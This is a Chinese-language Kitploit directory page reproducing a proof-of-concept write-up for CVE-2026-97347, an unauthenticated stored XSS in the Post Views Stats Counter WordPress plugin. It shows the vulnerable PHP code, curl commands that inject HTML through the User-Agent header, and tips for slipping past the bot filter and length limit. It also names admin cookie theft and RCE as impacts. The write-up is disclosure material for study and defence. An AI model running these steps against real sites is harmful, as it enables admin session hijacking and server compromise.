Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-97347 — 针对 CVE-2026-97347 的概念验证,该漏洞是 Post Views Stats Counter WordPress 插件中通过 User-Agent 请求头触发的未认证存储型 XSS,并附有复现步骤。 | Kitploit
工具/GitHubGitHub/jailbr3ak/cve-2026-97347
漏洞分析漏洞利用Web应用程序漏洞利用Web安全
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

针对 CVE-2026-97347 的概念验证,该漏洞是 Post Views Stats Counter WordPress 插件中通过 User-Agent 请求头触发的未认证存储型 XSS,并附有复现步骤。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-97347 — Post Views Stats Counter 中的存储型 XSS(WordPress 插件)

插件Post Views Stats Counter
受影响版本≤ 1.1.7
漏洞类别未认证存储型 XSS
入口点User-Agent HTTP 头
触发点管理统计页面(options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 高危
状态披露时未修复,直至目前无已知修复版本
研究者Nawaf Althurwi

漏洞详情

该插件会将每次页面浏览记录到自定义表(wp_pvs_counter)中,包括访问者的 User-Agent 头。以下代码展示了它获取该头的位置——整个路径中没有任何清理:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

进入时唯一的防御措施是一个机器人过滤器,而它只是一个子串黑名单:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

默认列表是 bot、spider、crawler。任何不包含这些子字符串的内容都会被存储。这就是整个过滤逻辑。

在输出侧,管理页面会构建一个“已注册用户代理”的下拉菜单,并将存储的值原样打印在 <option> 标签内——esc_attr() 保护了 value 属性,但可见标签是直接 echo 输出的:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

因此,一个在 User-Agent 头中携带 HTML 的未认证请求,会在管理员下次打开该插件统计页面时在其浏览器中执行。典型的存储型 XSS,无需认证,受害者除了查看自己的仪表盘外无需任何交互。

还有一个值得了解的约束:useragent 列的类型是 varchar(155),因此 payload 必须保持在 155 个字符以内。

复现

任何已记录的 URL 都可以——首页 /?p=1 即可。将 TARGET 替换为 WordPress 主机,将 YOUR_PAYLOAD 替换为你想要在管理员会话中运行的任意内容:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

关于 payload 形态的说明:

  • </option></select> 将值从下拉菜单标记中脱离出来——它不是装饰,没有它,注入内容会被困在 <option> 标签内。
  • 确保字符串中不包含 bot/spider/crawler(不区分大小写),否则请求会在到达数据库之前被当作机器人过滤掉。
  • 总长度保持在 155 个字符以内。
  • 如果需要在 alert() 内使用空格,请改用 &#32;——某些 HTTP 客户端会破坏请求头值中的空格。

我在实验室中使用的一行命令:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

步骤 1 — 存储载荷

通过 User-Agent 头发送载荷

只是一个普通的 curl。HTTP 200 表示浏览量已被计数,且该请求头已写入数据库。

步骤 2 — 触发它

以管理员身份打开 设置 → Post Views Stats Counter(如果已经打开,只需刷新即可)。载荷会作为统计小部件列表的一部分渲染,随后 onerror 被触发:

载荷在管理员统计页面上执行

影响

  • 管理员 Cookie 窃取 / 会话劫持(S:C 作用域变更 — XSS 在 wp-admin 上运行,因此可以使用管理员的 Cookie 调用 admin-ajax 和插件安装端点)
  • 插件安装与激活 → 服务器上的 RCE
  • 持久化载荷:管理员每次访问统计页面时都会触发,直到该行被删除

漏洞利用视频

演示

如需逐帧查看/暂停,可使用更高画质版本:exploit-vid.mp4

参考资料

  • CVE 记录 — CVE-2026-97347

  • Wordfence 威胁情报记录 — CVE-2026-97347


在本地 Docker 实验环境中针对 WordPress 6.x 上的 1.1.7 版本进行测试。无需身份验证,除打开统计页面外无需任何用户交互。

下载工具